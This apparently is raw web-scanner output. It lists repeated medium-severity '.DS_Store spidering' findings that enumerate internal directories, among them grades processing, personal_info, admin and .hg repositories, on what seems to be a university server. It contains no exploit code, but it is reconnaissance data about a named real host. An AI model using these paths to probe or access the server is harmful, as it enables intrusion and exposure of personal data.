rt-server.fcgi (/usr/share/request-tracker5/libexec/rt-server.fcgi) PidActiveIdleAccessesState 3371606046Ready3361608385Ready Active and Idle are time active and time since last request, in seconds. Apache/2.4.52 (Ubuntu) Server at rt.math.uwaterloo.ca Port 80
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: medium
Fingerprint: 5f32cf5d6962f09c8c9af8b78c9af8b769d3006a69ac06a570132d42ef83d7b6
Found 128 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/.hg/cache /MyCCCV_mag/.hg/store /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/MyDATA/academic_work /MyCCCV_mag/MyDATA/account /MyCCCV_mag/MyDATA/activities /MyCCCV_mag/MyDATA/admin /MyCCCV_mag/MyDATA/contributions /MyCCCV_mag/MyDATA/employment /MyCCCV_mag/MyDATA/lib /MyCCCV_mag/MyDATA/personal_info /MyCCCV_mag/MyDATA/reports /MyCCCV_mag/MyDATA/user_profile /MyCCCV_mag/MyDATA/welcome /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /OFIS_mag/ofis /OFIS_mag/ofis/lib /OFIS_mag/ofis/lib/sections /ofis_php_dev /ofis_php_dev/caddy-template /ofis_php_dev/crs-enrol-api /ofis_php_dev/csv-proc-dev /ofis_php_dev/csv-proc-dev/archive /ofis_php_dev/csv-proc-dev/classes /ofis_php_dev/csv-proc-dev/common /ofis_php_dev/csv-proc-dev/vendor /ofis_php_dev/eng-research-2 /ofis_php_dev/eng-research-3 /ofis_php_dev/eng-research-3/.hg /ofis_php_dev/eng-research-3/Banners /ofis_php_dev/eng-research-3/images /ofis_php_dev/eng_research-2 /ofis_php_dev/eng_research-2/Banners /ofis_php_dev/eng_research-2/images /ofis_php_dev/eng_research-2/ofis /ofis_php_dev/engevals-coop /ofis_php_dev/extractHRWorkday /ofis_php_dev/f3-test /ofis_php_dev/fli-lat /ofis_php_dev/fli-lat-bs-repo /ofis_php_dev/fli-lat-fnd /ofis_php_dev/fli-lat-html-repo /ofis_php_dev/fli-lat-html-repo1 /ofis_php_dev/fli-php /ofis_php_dev/guis /ofis_php_dev/ldap-daniels /ofis_php_dev/msg-test /ofis_php_dev/ofis-bibtex /ofis_php_dev/ofis-for-testing /ofis_php_dev/ofis-login /ofis_php_dev/ofis-mac /ofis_php_dev/ofis-phones /ofis_php_dev/ofis-refactor /ofis_php_dev/ofis-to-examine /ofis_php_dev/OFIS_56-7x /ofis_php_dev/OFIS_mag /ofis_php_dev/php-router /ofis_php_dev/php-router-1 /ofis_php_dev/php-tests /ofis_php_dev/r66-php /ofis_php_dev/ranking-setup /ofis_php_dev/rectorphp-tmp /ofis_php_dev/rtfTableRenderer /ofis_php_dev/sandbox /ofis_php_dev/sandbox1 /ofis_php_dev/sandbox2 /ofis_php_dev/tania /ofis_php_dev/test /ofis_php_dev/ttsf-test /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive
Severity: medium
Fingerprint: 5f32cf5d6962f09c8c9af8b78c9af8b769d3006a69ac06a570132d42f6004c07
Found 128 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/.hg/cache /MyCCCV_mag/.hg/store /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/MyDATA/academic_work /MyCCCV_mag/MyDATA/account /MyCCCV_mag/MyDATA/activities /MyCCCV_mag/MyDATA/admin /MyCCCV_mag/MyDATA/contributions /MyCCCV_mag/MyDATA/employment /MyCCCV_mag/MyDATA/lib /MyCCCV_mag/MyDATA/personal_info /MyCCCV_mag/MyDATA/reports /MyCCCV_mag/MyDATA/user_profile /MyCCCV_mag/MyDATA/welcome /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /OFIS_mag/ofis /OFIS_mag/ofis/lib /OFIS_mag/ofis/lib/sections /ofis_php_dev /ofis_php_dev/caddy-template /ofis_php_dev/crs-enrol-api /ofis_php_dev/csv-proc-dev /ofis_php_dev/csv-proc-dev/archive /ofis_php_dev/csv-proc-dev/classes /ofis_php_dev/csv-proc-dev/common /ofis_php_dev/csv-proc-dev/vendor /ofis_php_dev/eng-research-2 /ofis_php_dev/eng-research-3 /ofis_php_dev/eng-research-3/.hg /ofis_php_dev/eng-research-3/Banners /ofis_php_dev/eng-research-3/images /ofis_php_dev/eng_research-2 /ofis_php_dev/eng_research-2/Banners /ofis_php_dev/eng_research-2/images /ofis_php_dev/eng_research-2/ofis /ofis_php_dev/engevals-coop /ofis_php_dev/extractHRWorkday /ofis_php_dev/f3-test /ofis_php_dev/f3-test/common /ofis_php_dev/f3-test/config.ini /ofis_php_dev/f3-test/inc-test /ofis_php_dev/f3-test/lib /ofis_php_dev/f3-test/lib/db /ofis_php_dev/f3-test/lib/web /ofis_php_dev/f3-test/tmp /ofis_php_dev/f3-test/ui /ofis_php_dev/f3-test/ui/css /ofis_php_dev/f3-test/ui/images /ofis_php_dev/f3-test/vendor /ofis_php_dev/f3-test/vendor/composer /ofis_php_dev/fli-lat /ofis_php_dev/fli-lat-bs-repo /ofis_php_dev/fli-lat-fnd /ofis_php_dev/fli-lat-html-repo /ofis_php_dev/fli-lat-html-repo1 /ofis_php_dev/fli-php /ofis_php_dev/guis /ofis_php_dev/ldap-daniels /ofis_php_dev/msg-test /ofis_php_dev/ofis-bibtex /ofis_php_dev/ofis-for-testing /ofis_php_dev/ofis-login /ofis_php_dev/ofis-mac /ofis_php_dev/ofis-phones /ofis_php_dev/ofis-refactor /ofis_php_dev/ofis-to-examine /ofis_php_dev/OFIS_56-7x /ofis_php_dev/OFIS_mag /ofis_php_dev/php-router /ofis_php_dev/php-router-1 /ofis_php_dev/php-tests /ofis_php_dev/r66-php /ofis_php_dev/ranking-setup /ofis_php_dev/rectorphp-tmp /ofis_php_dev/rtfTableRenderer /ofis_php_dev/sandbox /ofis_php_dev/sandbox1
Severity: medium
Fingerprint: 5f32cf5d6962f09c8c9af8b78c9af8b769d3006a69ac06a570132d42ee53db2a
Found 128 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/.hg/cache /MyCCCV_mag/.hg/store /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/MyDATA/academic_work /MyCCCV_mag/MyDATA/account /MyCCCV_mag/MyDATA/activities /MyCCCV_mag/MyDATA/admin /MyCCCV_mag/MyDATA/contributions /MyCCCV_mag/MyDATA/employment /MyCCCV_mag/MyDATA/lib /MyCCCV_mag/MyDATA/personal_info /MyCCCV_mag/MyDATA/reports /MyCCCV_mag/MyDATA/user_profile /MyCCCV_mag/MyDATA/welcome /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /OFIS_mag/ofis /OFIS_mag/ofis/lib /OFIS_mag/ofis/lib/sections /ofis_php_dev /ofis_php_dev/caddy-template /ofis_php_dev/crs-enrol-api /ofis_php_dev/csv-proc-dev /ofis_php_dev/csv-proc-dev/archive /ofis_php_dev/csv-proc-dev/classes /ofis_php_dev/csv-proc-dev/common /ofis_php_dev/csv-proc-dev/vendor /ofis_php_dev/eng-research-2 /ofis_php_dev/eng-research-3 /ofis_php_dev/eng-research-3/.hg /ofis_php_dev/eng-research-3/Banners /ofis_php_dev/eng-research-3/images /ofis_php_dev/eng_research-2 /ofis_php_dev/eng_research-2/Banners /ofis_php_dev/eng_research-2/images /ofis_php_dev/eng_research-2/ofis /ofis_php_dev/engevals-coop /ofis_php_dev/extractHRWorkday /ofis_php_dev/f3-test /ofis_php_dev/f3-test/common /ofis_php_dev/f3-test/config.ini /ofis_php_dev/f3-test/inc-test /ofis_php_dev/f3-test/lib /ofis_php_dev/f3-test/lib/db /ofis_php_dev/f3-test/lib/web /ofis_php_dev/f3-test/tmp /ofis_php_dev/f3-test/ui /ofis_php_dev/f3-test/vendor /ofis_php_dev/fli-lat /ofis_php_dev/fli-lat-bs-repo /ofis_php_dev/fli-lat-fnd /ofis_php_dev/fli-lat-html-repo /ofis_php_dev/fli-lat-html-repo1 /ofis_php_dev/fli-php /ofis_php_dev/guis /ofis_php_dev/ldap-daniels /ofis_php_dev/msg-test /ofis_php_dev/ofis-bibtex /ofis_php_dev/ofis-for-testing /ofis_php_dev/ofis-login /ofis_php_dev/ofis-mac /ofis_php_dev/ofis-phones /ofis_php_dev/ofis-refactor /ofis_php_dev/ofis-to-examine /ofis_php_dev/OFIS_56-7x /ofis_php_dev/OFIS_mag /ofis_php_dev/php-router /ofis_php_dev/php-router-1 /ofis_php_dev/php-tests /ofis_php_dev/r66-php /ofis_php_dev/ranking-setup /ofis_php_dev/rectorphp-tmp /ofis_php_dev/rtfTableRenderer /ofis_php_dev/sandbox /ofis_php_dev/sandbox1 /ofis_php_dev/sandbox2 /ofis_php_dev/tania /ofis_php_dev/test
Severity: medium
Fingerprint: 5f32cf5d6962f09c8c9af8b78c9af8b769d3006a69ac06a570132d423c7c47a7
Found 128 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/.hg/cache /MyCCCV_mag/.hg/store /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/MyDATA/academic_work /MyCCCV_mag/MyDATA/account /MyCCCV_mag/MyDATA/activities /MyCCCV_mag/MyDATA/admin /MyCCCV_mag/MyDATA/contributions /MyCCCV_mag/MyDATA/employment /MyCCCV_mag/MyDATA/lib /MyCCCV_mag/MyDATA/personal_info /MyCCCV_mag/MyDATA/reports /MyCCCV_mag/MyDATA/user_profile /MyCCCV_mag/MyDATA/welcome /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /OFIS_mag/ofis /OFIS_mag/ofis/lib /OFIS_mag/ofis/lib/sections /ofis_php_dev /ofis_php_dev/caddy-template /ofis_php_dev/crs-enrol-api /ofis_php_dev/csv-proc-dev /ofis_php_dev/csv-proc-dev/archive /ofis_php_dev/csv-proc-dev/classes /ofis_php_dev/csv-proc-dev/common /ofis_php_dev/csv-proc-dev/vendor /ofis_php_dev/eng-research-2 /ofis_php_dev/eng-research-3 /ofis_php_dev/eng-research-3/.hg /ofis_php_dev/eng-research-3/Banners /ofis_php_dev/eng-research-3/images /ofis_php_dev/eng_research-2 /ofis_php_dev/eng_research-2/Banners /ofis_php_dev/eng_research-2/images /ofis_php_dev/eng_research-2/ofis /ofis_php_dev/engevals-coop /ofis_php_dev/extractHRWorkday /ofis_php_dev/f3-test /ofis_php_dev/f3-test/common /ofis_php_dev/f3-test/config.ini /ofis_php_dev/f3-test/inc-test /ofis_php_dev/f3-test/lib /ofis_php_dev/f3-test/lib/db /ofis_php_dev/f3-test/lib/web /ofis_php_dev/f3-test/tmp /ofis_php_dev/f3-test/ui /ofis_php_dev/f3-test/ui/css /ofis_php_dev/f3-test/ui/images /ofis_php_dev/f3-test/vendor /ofis_php_dev/f3-test/vendor/composer /ofis_php_dev/fli-lat /ofis_php_dev/fli-lat-bs-repo /ofis_php_dev/fli-lat-bs-repo/tmp /ofis_php_dev/fli-lat-fnd /ofis_php_dev/fli-lat-fnd/tmp /ofis_php_dev/fli-lat-fnd/vendor /ofis_php_dev/fli-lat-html-repo /ofis_php_dev/fli-lat-html-repo1 /ofis_php_dev/fli-lat-html-repo1/tmp /ofis_php_dev/fli-php /ofis_php_dev/guis /ofis_php_dev/ldap-daniels /ofis_php_dev/msg-test /ofis_php_dev/ofis-bibtex /ofis_php_dev/ofis-for-testing /ofis_php_dev/ofis-login /ofis_php_dev/ofis-login/common /ofis_php_dev/ofis-login/public /ofis_php_dev/ofis-mac /ofis_php_dev/ofis-mac/common /ofis_php_dev/ofis-mac/export /ofis_php_dev/ofis-mac/ofas /ofis_php_dev/ofis-mac/ofis /ofis_php_dev/ofis-phones /ofis_php_dev/ofis-refactor /ofis_php_dev/ofis-to-examine /ofis_php_dev/OFIS_56-7x
Severity: medium
Fingerprint: 5f32cf5d6962f09c8c9af8b78c9af8b769d3006a69ac06a570132d4209af4d48
Found 128 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/.hg/cache /MyCCCV_mag/.hg/store /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/MyDATA/academic_work /MyCCCV_mag/MyDATA/account /MyCCCV_mag/MyDATA/activities /MyCCCV_mag/MyDATA/admin /MyCCCV_mag/MyDATA/contributions /MyCCCV_mag/MyDATA/employment /MyCCCV_mag/MyDATA/lib /MyCCCV_mag/MyDATA/personal_info /MyCCCV_mag/MyDATA/reports /MyCCCV_mag/MyDATA/user_profile /MyCCCV_mag/MyDATA/welcome /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /OFIS_mag/ofis /OFIS_mag/ofis/lib /OFIS_mag/ofis/lib/sections /ofis_php_dev /ofis_php_dev/caddy-template /ofis_php_dev/crs-enrol-api /ofis_php_dev/csv-proc-dev /ofis_php_dev/csv-proc-dev/archive /ofis_php_dev/csv-proc-dev/classes /ofis_php_dev/csv-proc-dev/common /ofis_php_dev/csv-proc-dev/vendor /ofis_php_dev/eng-research-2 /ofis_php_dev/eng-research-3 /ofis_php_dev/eng-research-3/.hg /ofis_php_dev/eng-research-3/Banners /ofis_php_dev/eng-research-3/images /ofis_php_dev/eng_research-2 /ofis_php_dev/eng_research-2/Banners /ofis_php_dev/eng_research-2/images /ofis_php_dev/eng_research-2/ofis /ofis_php_dev/engevals-coop /ofis_php_dev/extractHRWorkday /ofis_php_dev/f3-test /ofis_php_dev/f3-test/common /ofis_php_dev/f3-test/config.ini /ofis_php_dev/f3-test/inc-test /ofis_php_dev/f3-test/lib /ofis_php_dev/f3-test/lib/db /ofis_php_dev/f3-test/lib/web /ofis_php_dev/f3-test/tmp /ofis_php_dev/f3-test/ui /ofis_php_dev/f3-test/ui/css /ofis_php_dev/f3-test/ui/images /ofis_php_dev/f3-test/vendor /ofis_php_dev/fli-lat /ofis_php_dev/fli-lat-bs-repo /ofis_php_dev/fli-lat-fnd /ofis_php_dev/fli-lat-html-repo /ofis_php_dev/fli-lat-html-repo1 /ofis_php_dev/fli-php /ofis_php_dev/guis /ofis_php_dev/ldap-daniels /ofis_php_dev/msg-test /ofis_php_dev/ofis-bibtex /ofis_php_dev/ofis-for-testing /ofis_php_dev/ofis-login /ofis_php_dev/ofis-mac /ofis_php_dev/ofis-phones /ofis_php_dev/ofis-refactor /ofis_php_dev/ofis-to-examine /ofis_php_dev/OFIS_56-7x /ofis_php_dev/OFIS_mag /ofis_php_dev/php-router /ofis_php_dev/php-router-1 /ofis_php_dev/php-tests /ofis_php_dev/r66-php /ofis_php_dev/ranking-setup /ofis_php_dev/rectorphp-tmp /ofis_php_dev/rtfTableRenderer /ofis_php_dev/sandbox /ofis_php_dev/sandbox1 /ofis_php_dev/sandbox2
Severity: medium
Fingerprint: 5f32cf5d6962f09c7d264b917d264b915214bcbc04b5416b605215b8ce9bb748
Found 52 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /fare-1 /fare-repo /grades-proc /grades-proc-old /iap /import_ccv /mag-dev /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09c75d69a7675d69a764a4e227760a431b6ef0f2a8d9cfe9e66
Found 51 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /erick /extractGSO /faculty-career /fare-1 /fare-repo /grades-proc /grades-proc-old /iap /import_ccv /mag-dev /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09c20f30ab920f30ab9fdf7e88426698de3c891e36006a808ed
Found 67 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09ce9dbcc92e9dbcc923f41fc6b6a3bca7af77b5cd92d3570a2
Found 60 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /grades-proc /grades-proc-old /iap /import_ccv /mag-dev /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09cdc8bf8eddc8bf8ed7b3182d04d0b1f6fb862fd54dcd9fb5c
Found 89 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/.hg/cache /MyCCCV_mag/.hg/store /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/MyDATA/academic_work /MyCCCV_mag/MyDATA/account /MyCCCV_mag/MyDATA/activities /MyCCCV_mag/MyDATA/admin /MyCCCV_mag/MyDATA/contributions /MyCCCV_mag/MyDATA/employment /MyCCCV_mag/MyDATA/lib /MyCCCV_mag/MyDATA/personal_info /MyCCCV_mag/MyDATA/reports /MyCCCV_mag/MyDATA/user_profile /MyCCCV_mag/MyDATA/welcome /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09c8e4417c08e4417c043f895312eb2fdbcb9b30ceb84eb6d47
Found 62 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc-old /iap /import_ccv /mag-dev /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09ca29b58f1a29b58f18b1e461c60db05cb4961a1987741f6c9
Found 78 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/.hg/cache /MyCCCV_mag/.hg/store /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09c2a0815492a08154937baa6746903bcb3317326308a2c1072
Found 70 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct 